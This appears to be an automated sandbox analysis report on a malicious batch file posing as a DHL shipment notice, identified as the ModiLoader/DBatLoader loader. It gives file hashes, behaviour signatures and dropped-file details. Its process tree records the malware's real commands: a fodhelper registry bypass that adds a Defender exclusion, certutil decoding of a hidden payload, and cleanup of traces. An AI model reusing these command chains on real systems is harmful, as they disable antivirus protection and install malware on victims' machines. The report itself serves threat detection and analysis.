Analysis

  • max time kernel
    136s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    23-03-2024 07:46

General

  • Target

    DHL Shipment 3338186294.bat

  • Size

    2.5MB

  • MD5

    c7dd17110928b64f19c2b8449d23a876

  • SHA1

    9f190c670b55bcafc5aadca0f4da1c7c87780766

  • SHA256

    2e0c4709969f98b16b7f1f90039cf045defe6d541610d1beaf868a4a058a1e3b

  • SHA512

    5c8364df0e5f0c479aa21c70f27f2a02ba25858dd5858cd773321cf4c24bf89c9d3f2517df718afe706ed6302dd32415c0aa4015c633c6098c2b4371c1edaf81

  • SSDEEP

    24576:yaaMHj/9yg91lBGZJ5rsL9jAMDpRZObauo31nXCn+RCN1DVkY5:zfD4g9wZJ589jnDpRZN65

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 1 IoCs
  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DHL Shipment 3338186294.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:2944
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2956
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:2600
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2620
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:2556
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:864
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2408
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2204
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:2412
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DHL Shipment 3338186294.bat" "C:\\Users\\Public\\Lewxa.txt" 9
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2276
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DHL Shipment 3338186294.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              3⤵
              • Executes dropped EXE
              PID:2860
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3056
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              3⤵
              • Executes dropped EXE
              PID:324
          • C:\Users\Public\Libraries\Lewxa.com
            C:\\Users\\Public\\Libraries\\Lewxa.com
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2004
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2004 -s 712
              3⤵
              • Loads dropped DLL
              • Program crash
              PID:1388
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:532
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:568
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:1104
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
            2⤵
            • Executes dropped EXE
            PID:1508
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:604
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM SystemSettings.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1500
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
            2⤵
            • Executes dropped EXE
            PID:2756
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM SystemSettingsAdminFlows.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2772

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Public\Lewxa.txt

          Filesize

          1.8MB

          MD5

          7b56c9570846bba65b31628c8cd53117

          SHA1

          fa5b315c81257e3716e8923e7df0f865ae7f02f3

          SHA256

          09c6cad0cc68492c31d4004be8b6a7a84d2a0fcee9cfc8d562f6aed4fef14644

          SHA512

          a2e813332a32e68f2928269f2ca07c0856975a5be7aeda11247d4fde51d6422b3efa3df5003c5e73e98fa0bae5a941f1a07561590a3d05f7c744a188bf51b3fd

        • C:\Users\Public\Libraries\Lewxa.com

          Filesize

          917KB

          MD5

          2fcbc98b3cba297ba8e87ae27d84ba9e

          SHA1

          9e81fe9c902a00f941789d72e060f78ecf9b3218

          SHA256

          8552d0af99ef6eec00d73395898a450f780711fab91efd491ce76e20b82d4fed

          SHA512

          80024c337a14da6a17b1fd68957f1500df69f372c9bb61dbcb5328bb65491aa7f8b5eae32b281b4e316b683a25827ef994ad27bb368fd3e463166c33b536e53f

        • C:\Users\Public\alpha.exe

          Filesize

          21KB

          MD5

          e197cb947d3519099939f05e281c3420

          SHA1

          f404e21d9cb676f971eca04a0ec7a2854b40ae57

          SHA256

          7033eab30dd992fdd8fb9865bb04fc22c638da6bd8aba05541fd771588a9d27f

          SHA512

          4c6f96b1debcf783785c66e1c213c5a9970285f456dcb90d65e336dd66e70b18beca724badf121d4b0ad4548449dfd45f1b3a102ab67e8cc89617239dbe06607

        • C:\Users\Public\xkn.exe

          Filesize

          462KB

          MD5

          852d67a27e454bd389fa7f02a8cbe23f

          SHA1

          5330fedad485e0e4c23b2abe1075a1f984fde9fc

          SHA256

          a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

          SHA512

          327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

        • \Users\Public\alpha.exe

          Filesize

          337KB

          MD5

          5746bd7e255dd6a8afa06f7c42c1ba41

          SHA1

          0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

          SHA256

          db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

          SHA512

          3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

        • \Users\Public\kn.exe

          Filesize

          1.1MB

          MD5

          ec1fd3050dbc40ec7e87ab99c7ca0b03

          SHA1

          ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

          SHA256

          1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

          SHA512

          4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

        • memory/2004-58-0x0000000000400000-0x00000000004EE000-memory.dmp

          Filesize

          952KB

        • memory/2004-57-0x0000000000230000-0x0000000000231000-memory.dmp

          Filesize

          4KB

        • memory/2004-54-0x0000000002C40000-0x0000000003C40000-memory.dmp

          Filesize

          16.0MB

        • memory/2004-53-0x0000000002C40000-0x0000000003C40000-memory.dmp

          Filesize

          16.0MB

        • memory/2004-46-0x0000000000230000-0x0000000000231000-memory.dmp

          Filesize

          4KB

        • memory/2408-23-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

          Filesize

          9.6MB

        • memory/2408-32-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

          Filesize

          9.6MB

        • memory/2408-27-0x0000000001EA0000-0x0000000001F20000-memory.dmp

          Filesize

          512KB

        • memory/2408-26-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

          Filesize

          9.6MB

        • memory/2408-25-0x0000000001EA0000-0x0000000001F20000-memory.dmp

          Filesize

          512KB

        • memory/2408-24-0x0000000001EA0000-0x0000000001F20000-memory.dmp

          Filesize

          512KB

        • memory/2408-22-0x0000000001E70000-0x0000000001E78000-memory.dmp

          Filesize

          32KB

        • memory/2408-21-0x000000001B090000-0x000000001B372000-memory.dmp

          Filesize

          2.9MB